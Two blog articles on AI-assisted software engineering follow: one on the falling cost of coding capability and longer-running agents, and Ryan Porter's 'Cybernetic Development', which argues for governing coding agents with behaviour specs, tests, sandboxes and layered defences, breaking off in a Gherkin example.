Their headline finding: the cost of a given benchmark-performance level on the Pareto frontier has been falling roughly **5× to 10× per year** across GPQA-Diamond, AIME, and SWE-bench Verified. For software engineering specifically, SWE-bench Verified's sample is still small, so confidence intervals are wide—but the estimated annual price reduction is in the same ballpark, about **4.7× per year** on the cost-performance frontier.[@gundlach-2025-price-of-progress-2]

::image{
  src="images/price-of-fixed-capability.png"
  layout="full"
  alt="Log-scale chart of the cost to reach a fixed benchmark score from 2023 to 2026, falling roughly five
  to ten times per year across GPQA-Diamond, AIME, and SWE-bench Verified."
}

That method matters because the researchers price a full **benchmark run**—including input, output, reasoning, and cached tokens. They're measuring the cost of reaching a fixed result, not claiming that models somehow got ten times smarter.

For SWE-bench Verified, the estimate is about **4.7× cheaper per year**, although the sample is small and the confidence interval is wide. Compounded over the roughly 18 months since "vibe coding" was coined, that's close to the order-of-magnitude change in the opening. The exact multiplier is less important than the direction: the same useful capability keeps getting cheaper, fast.

::image{
  src="images/ai-coding-cost-collapse-2026.png"
  layout="centered"
  alt="Three falling log-scale cost curves for GPQA-Diamond, AIME, and SWE-bench Verified, annotated 5x to
  10x cheaper per year, titled Same coding capability, falling price."
}

## What one resolved task costs

For engineering leaders, the MIT paper is the academic anchor. For day-to-day tool selection, agent benchmarks are more legible.

_Dialogue-SWEBench_, a June 2026 benchmark from UC Santa Cruz, reports **dollars per resolved interactive repository task** on a dialogue-driven software engineering benchmark—not list price.[@arxiv-2026-benchmark-for-dialogue-driven-coding-agents] That's much closer to what you actually pay when a coding agent does the work.

| Model / agent configuration          | Resolved tasks | Cost per task |
| ------------------------------------ | -------------: | ------------: |
| GPT-5 mini + schema-guided agent     |          58.8% |         $0.24 |
| GPT-5 + schema-guided agent          |          58.0% |         $0.86 |
| Qwen 3 Coder + schema-guided agent   |          32.3% |         $0.13 |
| Devstral 2 Small + interactive agent |          42.2% |         $0.30 |

Here's the interesting part: **GPT-5 mini rivals GPT-5 at a fraction of the cost** in this setting. The larger model still does better on the hardest tasks, but it's worse on simpler work—partly because it asks unnecessary questions and runs longer interactions.

Here's the point: for a lot of everyday engineering work, the best-value model is moving **down** the capability ladder faster than most developers are changing their defaults.

## The second curve: agents work longer

The price collapse didn't arrive alone. Agents also got better at working autonomously for longer instead of answering one prompt and stopping.

The capability curve is real and dated. OpenAI's December 2025 Codex release was, in their own words, "the moment that people began to believe that using autonomous coding agents could be reliable"—driven by "a huge jump in how long the model could reliably follow instructions." A single 25-hour uninterrupted run produced 30,000 lines of code on 13 million tokens, with the model running its own verification steps at every milestone.[@openai-developers-2026-run-long-horizon-tasks-with-codex] METR's time-horizon metric—the length of task a frontier model can complete with 50% reliability—has been **doubling roughly every seven months since 2019**.[@addy-osmani-2026-long-running-agents]

While the price of a fixed level of coding was falling, the length of task an agent could stay on was doubling roughly every seven months. Two exponential curves were moving at the same time.

::image{
  src="images/two-multiplying-curves.png"
  layout="full"
  alt="Two stacked log-scale charts: the price of fixed coding capability falls while the length of task an
  agent can complete at fifty percent reliability rises. Together, the trends make more work practical to
  automate."
}

These curves don't just make existing automation cheaper. Together, they move the boundary of what can be automated. As agents stay reliable for longer and the cost of those long loops falls, tasks that were impractical a few months ago cross into ordinary use.

## Why the two effects multiply

Long autonomous loops are exactly the kind of token-heavy work that only becomes practical when model usage gets cheap.

An agent loop isn't a chat. A chatbot returns one response. An agent plans, calls tools, verifies, retries, and re-reads its accumulated context on every step. Stanford's Digital Economy Lab gave this a name: the **"pricey context snowball."** Input tokens, not output tokens, drive the cost of agentic work, because the agent re-sends a growing context window on every step of a multi-step task.[@stanford-digital-economy-lab-2026-how-are-ai-agents-spending] A 50-turn session can run a 25:1 ratio of input to output tokens. The cost grows with the loop length, not the answer length.

:::bar-chart{title="The Context Snowball" max=100 unit="%"}
| Turn | Context used | Size |
| --- | ---: | --- |
| Turn 1 | 2 | ~4K tokens |
| Turn 10 | 35 | ~70K tokens |
| Turn 25 | 75 | ~150K tokens |
| Turn 50 | 100 | ~200K (full window) |

Every turn re-sends the whole conversation. On a 50-turn session, that's roughly **25 input tokens for every 1 output token** &mdash; illustrative, not a measured trace.
:::

Agent hierarchies can make that curve even steeper. A single top-level task can expand into a tree of agents, each carrying its own context window.[@web-developer-2026-claude-code-adds-nested-subagents] Delegating a milestone to a hierarchy of agents is token-expensive by design.

That's why this isn't just a savings story. ==Cheaper model usage made longer loops and agent hierarchies affordable.==

A July 2026 paper, _The Harness Effect_, measures the second lever directly: holding the model constant, swapping in a better orchestration layer cut cost per task by 41%—more than switching between the cheapest and most expensive model did. The harness moved cost per task more than model choice did.[@arxiv-2026-harness-effect] Better orchestration and cheaper models arrived together. That's what made this kind of delegation practical.

## What this changes

This is where the cost collapse becomes more interesting than a cheaper invoice. The unit of work starts to change. Instead of asking an assistant for a few lines, a developer can hand a patch-shaped problem to agents that read the repo, edit it, test it, and return work for review.[@devtools-academy-2026-state-of-ai-coding-agents-2026] The pieces are already familiar: isolated subagents, git worktrees that keep parallel changes apart, shared task lists, and batch commands that fan out mechanical work.[@anthropic-2026-claude-code-subagents-and-agent-teams] The harnesses matured. What was missing was the economics.

As the cost per agent falls, the same budget can support several agents working in parallel. Three to five concurrent agents is a common practical range, while genuinely parallel jobs can fan out much further.[@totalum-2026-claude-code-subagents]

::image{
  src="images/robot-workstation-army.png"
  layout="full"
  alt="Endless rows of identical pink-eyed robots tethered by cable to developer workstations, monitors
  glowing with code, in a dim teal-lit industrial office."
  caption="The same budget, a different unit of work."
}

The real change isn't simply that coding got cheaper. It's that the same budget can support a different way of working, including whole milestones handed to a supervised group of agents. Augment describes the shift as moving the unit of engineering work from the pull request to the project.[@augment-code-2026-accelerating-large-engineering-projects-with-cosmos]

## Chore tasks that finally get done

Every engineering team has a list of work that is obviously valuable and never gets done. Documentation drifts. Dependency upgrades sit in the backlog until something breaks. Tests get written for new code and never backfilled for old code. Security advisories get triaged when they're loud enough. Changelogs get written when someone remembers.

These are the tasks that parallel agents are best at, because they are well-scoped, repeatable, and low-stakes enough to run under human review rather than by hand. And the tooling for them is now shipping.

Documentation maintenance is the clearest example. Tools like Scribe read the actual structure of a codebase from the code graph, regenerate an accurate `AGENTS.md`, and open a merge request when the docs have drifted from the code—then keep watching and open another MR the next time they drift.[@github-2026-scribe-self-updating-agents-md] The pattern generalizes: a CI drift check compares the merge diff against the prose, an agent drafts a correction, and a human reviews and merges. The same loop applies to dependency upgrades, test backfills, changelog generation, and triaging security advisories.[@augment-code-2026-self-updating-documentation]

The catch is that none of this should auto-merge. The agents do the work that used to never get done; a human still decides whether it ships. ==The productivity dividend lands in the gap between "nobody had time" and "somebody reviewed it."==

## The bottleneck moves

When implementation gets cheaper, specification matters more. You have to define what "done" means, notice when working code is still the wrong code, and make good decisions quickly enough to keep several streams of work pointed in the same direction.

That's the human payoff of the cost collapse. It isn't just that you can spend less. A person or a small team can attempt work that used to require a much larger group. But the part left to the human is still the hard part: judgment.

## The Jevons catch

But there's another side to this, and it's the same paradox we saw when content got cheap.

When a resource gets cheaper, you don't use less of it. You use more of it, because the cheapness enables new uses that weren't viable before. William Stanley Jevons noticed it with coal in 1865: Watt's efficient steam engine didn't reduce coal consumption, it increased it, because steam engines became economical for factories, trains, and pumps that would never have used them before.[@jevons-1865-coal-question]

Coding follows the same curve. Demand expands in two directions: we run familiar automations more often, and we automate longer, more complicated work that agents couldn't reliably finish before. The unit price falls while both the number and the size of viable tasks grow, so total spending can still rise.

==Cheaper coding doesn't necessarily lower your bill. It changes what you can afford to attempt.== That's not waste. It's the predictable result of turning an expensive capability into a commodity.

## The flip side of this curve

The same curve that lowers the cost of _writing_ software also lowers the cost of _breaking_ it. Cheap coding agents also create a new attack surface.

That's a separate story, and we take it up in the companion piece: [Bugonomics: The Flip Side of Cheap Coding](/blog/bugonomics-cheap-exploits-2026/). The short version: the productivity dividend and the vulnerability dividend are the same curve, and you cannot have one without the other.

## What became scarce

What changed in 2026 wasn't just that coding models got smarter. ==Useful coding capability got cheaper at the same time agents learned to work for longer.== Cheap models made long loops affordable. Long loops made larger units of work delegable. The same budget began to buy a team instead of a single assistant.

That doesn't make the human less important. It moves the scarce resource from implementation toward specification, taste, and judgment. The code became a commodity. Knowing what should be built—and whether the result is actually good—didn't.

## Companion pieces

- [Maximize Value, Not Intelligence](/blog/maximize-value-not-intelligence/) — the practical half: which providers to buy, how to route between tiers, and which jobs just became worth automating.
- [Bugonomics: The Flip Side of Cheap Coding](/blog/bugonomics-cheap-exploits-2026/) — the same curve applied to breaking software.

## References

::citations{format="apa"}

---

# Cybernetic Development

> Vibe Coding is the spark, but cybernetic development is the fire. Why the future isn't writing code—it's governing AI agents with systems thinking.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-05-19

Canonical: https://anth.us/articles/cybernetic-development/

{/* HERO — cybernetic-development.png. Generated via Midjourney, installed.
    Nested control, not parallel steering: the viewer (the reader) is the
    outermost governor, gripping a wheel mounted on the robot's back; the
    robot, facing forward and never showing its face, steers the ship's own
    helm in turn. Governance one level removed from the thing actually being
    steered -- a sharper reading of kybernetes than two hands on one wheel,
    and it composes: nothing stops another loop from mounting a wheel on
    the reader's back. */}

::image{
  src="images/cybernetic-development.png"
  layout="full"
  alt="First-person view of a human's hands steering a wheel mounted on the back of a white robot, which
  itself steers the ship's helm at the bow."
}

There is a widening gap in the world of AI software development. On one side, you have the "Vibe Coders": enthusiastic experimenters who can prompt a prototype into existence in minutes. They ride the wave of LLM generation, treating code like a disposable medium. It feels like magic. It feels fast. But all too often, it hits a wall—the "it runs on my machine" prototype that collapses under the weight of edge cases, security reviews, and maintenance realities.

On the other side, there is a different class of developer. These were often the "10x developers" of the pre-AI era—the ones who obsessed over architecture, testing, and maintainability. They haven't been replaced by AI; they've become **100x developers**.

They aren't just "coding faster." They are applying the hard-won lessons of the last 80 years of software engineering to a new, higher level of abstraction. They don't just prompt; they govern.

More importantly, they decide what code should exist at all: what problems to solve in code, what problems to solve in process, and what problems to eliminate instead of "fix."

This represents a **cybernetic approach to development**.

## Retrieving "Cybernetics" from the 90s

The word "cyber" got dragged through the mud in the 90s. It became a prefix for everything on the "Information Superhighway," evoking images of bad CGI hackers and leather trench coats. Before that, science fiction used it for cyborgs—part man, part machine.

But beneath the "cyber-washing" lies a powerful, practical concept.

Coined by Norbert Wiener in 1948 from the Greek *kybernētēs* (steersman), cybernetics is simply the study of **two systems interacting to steer a course**.

A cybernetic system has two distinct parts:
1.  **The Engine:** The force that drives the system forward (Energy).
2.  **The Governor:** The feedback loop that steers the engine (Information).

[//]: # "Engine / Governor loop. Stacked vertically rather than left-right so it holds up at 375px without new CSS: .row has no mobile stacking rule in layout.scss, and this is simple enough not to need one."

:::diagram{title="The Cybernetic Loop"}
:::node{title="Engine" tone="agent"}
LLM generation. Fast, prolific, tireless&mdash;no opinion about whether the output is correct.
:::
::link{label="output" back="correction"}
:::node{title="Governor"}
Specs, tests, CI gates, telemetry. Slow, opinionated&mdash;measures the output against intent.
:::

Skip the loop and it stops being cybernetic&mdash;it's just an Engine running open: *vibe coding*.
:::

### The Glass Cockpit Problem: A Warning from Aviation

Before we go further, we need to understand the risk of pure automation. Aviation teaches us a critical lesson through what's called the **"Glass Cockpit" problem**.

As planes became fully automated with "fly-by-wire" systems, pilots spent 99% of their time monitoring systems rather than flying. The automation worked beautifully—until it failed. When it did, pilots had lost their "stick-and-rudder" skills and couldn't recover the plane.[@parc-cast-flight-deck-2013-operational-use-of-flight-path-management]

This isn't an argument against automation. It's an argument for **cybernetic systems**: automation paired with skilled governance. The pilot doesn't need to hand-fly every leg, but they must maintain the ability to override when the autopilot fails. They must understand the primitives underneath the abstraction.

The same applies to AI coding. If AI does 99% of the work, the human developer risks losing their fundamental skills—what Nate B. Jones calls **Primitive Fluency**. The cybernetic developer maintains this fluency not to replace the AI, but to steer it effectively and recover when it hallucinates.

[//]: # "Generated via Midjourney, installed."

::image{
  src="images/glass-cockpit.png"
  layout="full"
  alt="A softly glowing glass cockpit at night, every display nominal, seen from behind two empty seats with
  no hands on the controls."
}

### The Human Brain as Cybernetic System

This cybernetic structure mirrors the human brain itself. As Daniel Kahneman described in *Thinking, Fast and Slow*, we operate with two systems. **System 1** is fast, intuitive, and emotional (the Engine). **System 2** is slow, deliberate, and logical (the Governor).[@kahneman-2011-thinking-fast-and-slow]

We are cybernetic systems. And now, we are externalizing that structure into our software development.

*   **Vibe Coding (LLMs)** is the externalized **System 1**. It is pure intuition, pattern matching, and "vibes." It provides raw, explosive generative power.
*   **Engineering Discipline (BDD/TDD)** is the externalized **System 2**. It provides the logic, constraints, and verification that the AI lacks.

The 100x developer isn't just shoveling coal into the engine; they are designing the System 2 structure to govern the System 1 chaos.

[//]: # "Same two tints as The Cybernetic Loop above: pale red/pink for System 1 / Engine, the site's default pale blue for System 2 / Governor. .row stacks to a column at <=600px (layout.scss), so this is safe at mobile widths without further changes."

:::diagram{title="Two Minds, Two Systems"}
:::row
:::node{title="System 1" tone="agent"}
Fast, intuitive, pattern-matching&mdash;no verification.

Externalized as **Vibe Coding (LLMs)**

&rarr; the **Engine**
:::
:::node{title="System 2"}
Slow, deliberate, logical&mdash;effortful.

Externalized as **Engineering Discipline (BDD/TDD)**

&rarr; the **Governor**
:::
:::
:::

Even Andrej Karpathy, who coined the term "vibe coding" in early 2025[@karpathy-2025-andrej-karpathy-on-vibe-coding], recognized this shift just a year later. Reflecting on the concept's anniversary, he noted that while vibe coding started as a way to build "fun throwaway projects," the industry quickly moved toward something more rigorous. He called it **"Agentic Engineering"**—where you get the speed of agents without compromising on quality.[@karpathy-2026-andrej-karpathy-on-vibe-coding-anniversary]

Karpathy's "Agentic Engineering" confirms the core thesis of a cybernetic approach to development. It validates that the future of software isn't about writing code; it is about steering it.

## The Great Divergence: Guardrails vs. Razor Blades

We are witnessing a divergence in the software world. On one path, teams are adopting tools like **Clawdbot**—systems that give an AI agent full access to the file system and network by default. It's intoxicating. It's also how you manufacture **AI Slop**: brittle, insecure software that collapses under its own weight.

**AI Slop is uncoordinated debt.** In the old world, software decisions were slow, collaborative, and political (in a good way). Humans sat in breakrooms, overheard conversations, and aligned their code with the messy reality of the business. Bugs were caught early because context was shared.

AI doesn't sit in the breakroom. It has no context outside its prompt. It optimizes for the narrow task, not the organizational reality.

When you combine this lack of context with lightning speed, you get a massive **Blast Radius of Misalignment**. A single hallucinated design choice or leaky abstraction can propagate into hundreds, or even thousands of files overnight. Instead of shifting left to catch bugs early, we are generating them at scale instantly.

### From Bugs to Organizational Accidents

In the pre-AI world, many failures looked like *bugs*: a wrong condition, a missing null check, an off-by-one. They were local, deterministic, and relatively reproducible.

In multi-agent development, failures start to look like *operations*. They emerge from interactions: handoffs between agents, partial context, racing changes, misaligned incentives, and assumptions that hold in CI but fail in production. You can have immaculate unit tests and still ship a latent condition, because the failure doesn't live in any single function. It lives in the system.

Safety researcher James Reason studied what he called **organizational accidents**: disasters that don't come from one dramatic mistake, but from many small weaknesses that quietly accumulate until they collapse into failure. His **Swiss Cheese model** describes safety as layers of defense, each imperfect, each with holes. Accidents happen when the holes line up across layers.[@reason-1990-human-error]

Reason also distinguished between:

*   **Active failures:** the visible mistakes at the sharp end (a pilot error, a wrong button, a missed checklist).
*   **Latent conditions:** the invisible system decisions that make those mistakes likely (training gaps, bad incentives, missing safeguards).[@reason-1997-managing-the-risks-of-organizational-accidents]

In agentic software, hallucinated imports and broken edge cases are **active failures**. But "give the agent full filesystem + network and hope" is a **latent condition**. So is merging without CI gates. So is shipping without canaries. So is optimizing for a metric that can be gamed.

The cybernetic developer's job is to engineer the cheese: **defense in depth** that assumes the agent will be wrong sometimes—and makes it hard for a wrong thing to become a catastrophic thing.

### Jevons Paradox: The Code Explosion

Here's the darker twist: as AI makes code generation dramatically cheaper and faster, we face a counterintuitive risk. In 1865, economist William Stanley Jevons observed that as steam engines became more efficient with coal, coal consumption didn't go down—it went *up*, because steam engines became useful for more things.[@jevons-1865-coal-question]

This is **Jevons Paradox**: improving efficiency increases total consumption rather than reducing it.

In the AI era, code is the new coal. As AI makes code generation nearly free, we won't write *less* code; we will write **exponentially more**. We will drown in features, microservices, and "ideas." Every vague impulse becomes a thousand lines of generated code.

### The Death of Reuse and the PyTorch Moment

This abundance creates a dangerous dynamic: **the Death of Reuse**. Why spend time learning an existing library when you can just prompt the AI to generate a new implementation instantly? Why contribute to shared infrastructure when custom code is free?

History shows us the value of the opposite approach. Consider the collaborative infrastructure projects that transformed entire industries:

*   **Linux** (1991): Instead of everyone writing their own operating system, Linus Torvalds created a collaborative kernel that now runs most of the internet.
*   **Apache HTTP Server** (1995): A community-driven web server that powered the early web's growth.
*   **Git** (2005): Linus Torvalds again, creating distributed version control that enabled modern collaborative development.
*   **PyTorch** (2016): Facebook's (Meta's) open-source deep learning framework that unified the AI research community. Before PyTorch, every lab was writing custom tensor libraries. PyTorch provided a shared, high-quality foundation that accelerated everyone's work.

These are "PyTorch Moments"—where the industry realizes that shared, high-quality infrastructure is more valuable than a thousand fragmented implementations.

But cheap AI code generation threatens to reverse this progress. Instead of building cathedrals together, we risk building a million shoddy favelas—each slightly different, each needing separate maintenance, each hiding unique bugs.

#### The Backward-Compatibility Trap

The problem compounds when you realize that **AI-generated duplication is structurally different** from the copy-paste duplication of the pre-AI era.

When a human copy-pasted code in 2015, it was obvious duplication. You could `grep` for it. You could refactor it. Most importantly, it was **identical** duplication—if you fixed a bug in one place, you knew exactly where else to look.

AI-generated duplication is **semantic duplication with syntactic variance**. The AI writes the same *logic* five different ways:

*   File A uses a `for` loop with manual iteration
*   File B uses `Array.map()` with a lambda
*   File C uses recursion
*   File D uses a helper function named `processItems()`
*   File E uses a generator with `yield`

All five implementations do the *same thing*. But they look different enough that traditional deduplication tools fail. You can't `grep` your way out. The duplication is invisible until you're drowning in it.

Worse, this creates a **backward-compatibility nightmare**. Imagine you discover a security vulnerability in the logic. In the pre-AI world, you'd fix it in the shared library, and every consumer gets the patch. In the AI world, you now have to:

1.  **Find all the variants** (good luck—they don't look alike)
2.  **Manually patch each one** (because they're subtly different)
3.  **Verify each patch** (different structure = different test surface)
4.  **Deploy them all** (hope you didn't miss any)

This is why security patches for AI-generated codebases will become exponentially harder. A bug that used to require one fix now requires *N* fixes, where *N* is the number of times the AI independently "solved" the same problem.

#### The Snowball Effect: From Duplication to Divergence

It gets worse. Once you have semantic duplication, the implementations begin to **diverge**.

*   Team A's variant gets a performance optimization
*   Team B's variant gets a logging feature
*   Team C's variant gets an error-handling improvement

Now you don't just have five copies of the same logic—you have five **competing implementations**, each with unique features and bugs. Merging them back together is no longer refactoring; it's **archaeological excavation**.

This creates a *snowball effect*:

1.  **Duplication** (AI generates similar logic in multiple places)
2.  **Divergence** (each copy evolves independently)
3.  **Lock-in** (migrating to shared code becomes too expensive)
4.  **Fragmentation** (the codebase fractures into incompatible islands)

At this point, you can't fix the problem—you can only **rewrite the system from scratch**. Which the AI will happily do, generating a fresh batch of semantic duplication for the next cycle.

#### The 100x vs. Vibe Coder Divide

This is where the gap between 100x developers and Vibe Coders becomes unbridgeable.

The **Vibe Coder** treats every problem as a fresh prompt. They don't think about reuse because they don't think about *systems*. Each feature is a one-shot generation. When they need authentication, they prompt: "Build me a login system." When they need a second login system (maybe for an admin panel), they prompt again: "Build me an admin login system." The AI happily generates two independent implementations.

Six months later, they have 47 different authentication flows, each with subtly different session management, each with unique security properties, each a liability.

The **100x developer** enforces reuse as a **governance constraint**. Before allowing the AI to generate new code, they ask:

*   "Does this logic already exist somewhere?"
*   "Can we extend an existing module instead of creating a new one?"
*   "If we must create something new, can we extract and unify the existing variants first?"

They use the AI not just to write code, but to *hunt for duplication*. They prompt: "Analyze these five files and tell me if they're solving the same problem. If so, extract a shared abstraction."

This is the difference between generating **code** and governing a **system**. The Vibe Coder is sprinting toward duplication hell. The 100x developer is building a cathedral—or at least preventing a favela.

The only way to survive Jevons Paradox is to artificially constrain the supply. The cybernetic developer fights this entropy by strictly limiting what is allowed to exist. They use the Governor to say "No" to the infinite supply of slop. They understand that in a world of free generation, the scarcest skill is **curation**.

On the other path, we have the **cybernetic developers**. They understand that the best AI solutions put guardrails around the agents. They use containerized sandboxes, deny network access by default, and provide only the tools the agent absolutely needs.

## The Evolution of the Interface

To understand this shift, we have to look at the history of how humans talk to machines. Computer programmers have followed a consistent pattern for more than 80 years: moving their thought processes to higher and higher levels of abstraction.

1.  **Machine Code:** We started by toggling switches and writing binary.
    ```text
    01010101 00101010 11010101
    ```

2.  **Assembler:** We moved to mnemonics that mapped directly to the hardware.
    ```assembly
    MOV AX, 1
    ADD AX, 2
    ```

3.  **High-Level Languages:** We abstracted the hardware away to write in logic.
    ```c
    int result = 1 + 2;
    ```

4.  **Very High-Level Languages:** Languages like Ruby pushed the abstraction further, aiming for "pseudocode" readability.
    ```ruby
    result = 1 + 2
    ```

5.  **Gherkin & Behavior Specification:** We are now moving to the next layer—describing *what* the system does, not *how* it does it, in structured English phrases.
    ```gherkin
    Given I have the number 1
    When I add 2
    Then the result should be 3
    ```

The interface is no longer the syntax tree; it is the **Behavior Specification** (Gherkin).

"Vibe coding" is effectively a behavior specification: You tell the AI assistant what behavior you want. But the 100x gurus know the power of recording those specifications as executable, repeatable code that pairs hand-in-hand with the functional code.

**Treating specifications as "tests" is the wrong mental model.** In this new world, functional code is a generated artifact of the specifications. The specifications truly come first.

This used to be a pedantic, unrealistic ideal. Even religious practitioners of BDD rarely wrote specs first or achieved 100% test coverage because the friction was too high. But AI has removed that friction. If you just think about how fast you can make a prototype by vibe coding it on a Tuesday night, you are missing the huge part of what has changed.

Gherkin sits at the perfect intersection for this moment: it is structured enough to be a rigorous constraint (Given/When/Then), but it is natural enough to be the native tongue of an LLM.

*   **For the Human:** It allows you to define strict boundaries without getting lost in implementation details.
*   **For the AI:** It provides clear, unambiguous instructions in the language it understands best (English), which it can then translate into the language it executes best (Code).

This shift explains why a cybernetic approach to development is necessary *now*. When you operate at Level 5 (Intent), the "how" becomes invisible. You need a new mechanism to verify that the generated code actually matches the intent. That mechanism is the cybernetic loop.

## The Principles of Cybernetic Development

The secret of the new 100x developer is that they are *more* disciplined than their predecessors, not less. When code is generated "under the hood," the risk of rot increases. You can no longer rely on scanning every line with your eyes. You need agents and systems to do it for you.

Here is how the core principles of Agile and Software Engineering apply when the implementation is invisible.

### 1. The Mirror of the Mind: Clarity of Thought

Conway's Law states that software reflects the communication structure of the team that built it. In AI development, the "team" is often just **You + The Swarm**.

Therefore, the software will purely reflect the **clarity of your thought**.

If your Gherkin specs are fuzzy, the code will be hallucinated garbage. Vibe coding hides fuzzy thinking behind lucky generations. Cybernetic development *forces* clear thinking. The "100x developer" isn't a better coder; they are a **clearer thinker**.

This is why articulation—the ability to precisely describe what you want—becomes the fundamental skill. Not syntax. Not algorithms. Articulation. The AI can translate your clear intent into any language. But if your intent is muddy, no amount of generation will save you.

Your specifications are a mirror. What you see in the generated code is what you actually specified, not what you thought you specified. The cybernetic loop forces you to confront this gap and close it.

### 2. Problem Elimination: The Cheapest Bug is the Code You Never Write

Before we discuss how to build systems correctly, we must discuss **what to build at all**.

In traditional development, this principle was captured by YAGNI (You Ain't Gonna Need It). But cybernetic development demands a sharper formulation: **It's always better to eliminate a problem than to solve it.**

The cheapest bug is the branch you never wrote. The most maintainable feature is the one you deleted. The safest permission is the one you never granted.

When AI can generate a microservice architecture for your to-do app in minutes, the temptation to over-engineer becomes overwhelming. The AI will happily oblige, creating a monstrosity of complexity. Your job as the Governor is to say "No."

This principle connects directly to Reason's model of organizational accidents. When a system is too complex to fully anticipate all failure modes, you don't just "test harder" forever. You:
*   Delete features that aren't pulling their weight
*   Remove configuration knobs that create dangerous states
*   Choose boring, well-understood architectures over clever ones
*   Reduce coupling and degrees of freedom

Each deletion doesn't just save maintenance cost—it eliminates entire categories of failure. It reduces the number of "states" the system can be in, making it fundamentally more governable.

This is how you respond to the glass cockpit problem in software: you reduce the cockpit's complexity until a human can meaningfully monitor it.

### 3. Technical Excellence & 100% Test Coverage (Continuously Improve)

> "Continuous attention to technical excellence and good design enhances agility." — *Agile Manifesto*

In the old world, **100% test coverage** was often a fool's errand. It yielded diminishing returns. But in a world where an AI writes the implementation, 100% coverage becomes the **baseline requirement**.

If the code isn't covered by a test (or a behavior spec), it effectively doesn't exist. It is non-deterministic matter. You can configure your agents and linters to treat *untested code as an error*.

*   **Then:** "We have 80% coverage, that's good enough."
*   **Now:** "The agent cannot merge this PR because coverage dropped to 99.8%."

But coverage is a floor, not a shield. You can cover every line and still miss the thing that breaks in production: the bad assumption, the untested integration boundary, or the multi-agent coordination failure. In agentic systems, the visible "bug" is often just the last hole that lined up.

So yes: enforce coverage. But demand *meaningful* coverage. Prefer behavior specs, invariants, and regression tests derived from real incidents over tests that exist only to satisfy a number.

This aligns with our core value: **Continuously Improve**. You mitigate the risk of rapid change by making lots of small, verifiable changes—and by turning every failure into a new constraint the system must respect.

### 4. Defense in Depth & Operational Feedback (Engineer the Swiss Cheese)

In a world of multi-agent systems, the failure patterns start to resemble **organizational accidents** more than traditional software bugs. Many of the scariest failures are **latent conditions**: missing safeguards, oversized blast radii, ambiguous specs, and incentives that reward the wrong thing.

The lesson of the Swiss Cheese model is not "write better code." It's **build layers of defense**, then continuously patch the holes.

A cybernetic developer builds Governors at multiple layers:

*   **Tool Governors:** Sandboxes, least-privilege permissions, and explicit tool access so agents can't accidentally turn a small mistake into a repo-wide incident.
*   **Merge Governors:** Linting, type checks, unit tests, integration tests, and security checks that block bad changes before they land.
*   **Release Governors:** Staging, canary deploys, feature flags, and automatic rollback so production becomes a *measured experiment*, not a leap of faith.
*   **Runtime Governors:** Rate limits, timeouts, circuit breakers, validation, and kill switches that keep failures bounded.
*   **Learning Governors:** Blameless postmortems and incident reviews that feed new tests, new specs, new guardrails—or sometimes a hard simplification that eliminates the failure mode entirely.

[//]: # "Inline SVG, not pure CSS: the gaps need exact, staggered coordinates and one path threading through all five at different x-offsets each time -- not reproducible with flexbox. Short labels only (full descriptions are already in the bullet list above); the diagram's job is the layering and the one path that gets through, not restating the prose. viewBox scales fluidly, so this holds up at any width without a media query."

::image{
  src="images/cybernetic-development-five-layers-one-path-through.svg"
  layout="full"
  alt="Five stacked layers of governors with misaligned gaps, and a single failure path threading through all five."
  caption="Five Layers, One Path Through"
}

This is where 100x judgment lives. When a system fails, the question isn't only "What code do we change?" It's "What layer should absorb this next time?" Sometimes the right fix is a unit test. Sometimes it's changing the spec. Sometimes it's removing agent permissions. Sometimes it's deleting the feature.

This layered defense approach also helps us manage **Ashby's Law of Requisite Variety**: a Governor can't reliably control a system that has more "states" than it can represent.[@ashby-1956-introduction-to-cybernetics]

If your AI Engine can generate a thousand variants overnight, your Governor must either:
1.  **Match that variety** (more specs, more checks, more layers of defense), or
2.  **Reduce it** (simplify, standardize, delete degrees of freedom)

The cybernetic developer does both. They build comprehensive defense layers (matching variety) while aggressively simplifying the system's state space (reducing variety). Each deleted feature, each removed configuration option, each architectural constraint makes the system more governable.

### 5. Gherkin: The Language of the Governor

This isn't a new idea. In 2006, Dan North introduced **Behavior-Driven Development (BDD)** to solve the confusion around TDD.[@north-2006-introducing-bdd] He realized that talking about "tests" confused people, but talking about "behavior" clarified intent. He introduced Gherkin—the `Given-When-Then` syntax—to make specifications readable by humans (stakeholders) but executable by machines.

For years, BDD was a "nice to have" bridge between product managers and engineers. In the AI era, it is becoming the **primary source code**.

Why? Because BDD is the perfect language for an AI agent.

*   **It is human-readable:** You can audit the AI's understanding without reading the implementation code.
*   **It is machine-executable:** It serves as a strict test that the AI cannot fake.
*   **It is behaviorist:** It cares only about the output, effectively treating the AI-generated implementation as a black box (a "Skinner box" for code).

When you are the Governor, you might not look at the implementation code at all. You interact primarily through language. Gherkin allows you to capture that language—your intent—and turn it into an executable contract.

#### From Vague to Precise: A Login Example

Consider how a Vibe Coder might specify authentication:

> "Build me a login system that's secure."

This vague prompt leaves enormous room for hallucination. What does "secure" mean? Password requirements? Rate limiting? Session management? The AI will make hundreds of micro-decisions based on pattern matching, not your actual requirements.

A cybernetic developer writes Gherkin specifications that eliminate ambiguity:

```gherkin
Feature: User Authentication

  Scenario: Successful login with valid credentials
    Given a user exists with email "alice@example.com" and password "Secret123!"
    When the user submits login credentials with email "alice@example.com" and password "Secret123!"
    Then the login should succeed
    And a session token should be returned
    And the session should expire after 24 hours

  Scenario: Failed login with invalid password
    Given a user exists with email "alice@example.com" and password "Secret123!"
    When the user submits login credentials with email "alice@example.com" and password "WrongPassword"
    Then the login should fail
    And an error message should indicate "Invalid credentials"
    And no session token should be returned

  Scenario: Account lockout after multiple failed attempts
    Given a user exists with email "alice@example.com"
    When the user submits invalid login credentials 5 times
    Then the account should be locked
    And subsequent login attempts should fail with "Account temporarily locked"
    And the account should unlock after 30 minutes

  Scenario: Password requirements enforcement
    Given a new user is registering
    When the user submits a password "weak"
    Then registration should fail
    And an error should indicate "Password must be at least 8 characters with uppercase, lowercase, and numbers"
```

Notice what this achieves:

*   **Eliminates Ambiguity:** "Secure" becomes concrete requirements (lockouts, expiration, validation).
*   **Documents Business Logic:** The specs capture institutional knowledge that would otherwise live in someone's head.
*   **Prevents Regression:** Once a spec passes, it guards against future AI changes breaking existing behavior.
*   **Enables Stakeholder Review:** A product manager can read these scenarios and confirm they match business requirements—without understanding a single line of implementation code.

#### The E-commerce Cart: Layering Constraints

Let's see how constraints progressively narrow as you iterate. Imagine building a shopping cart.

**Week 1: Broad Constraints**

```gherkin
Feature: Shopping Cart

  Scenario: Add item to cart
    When a user adds a product to their cart
    Then the cart should contain that product
```

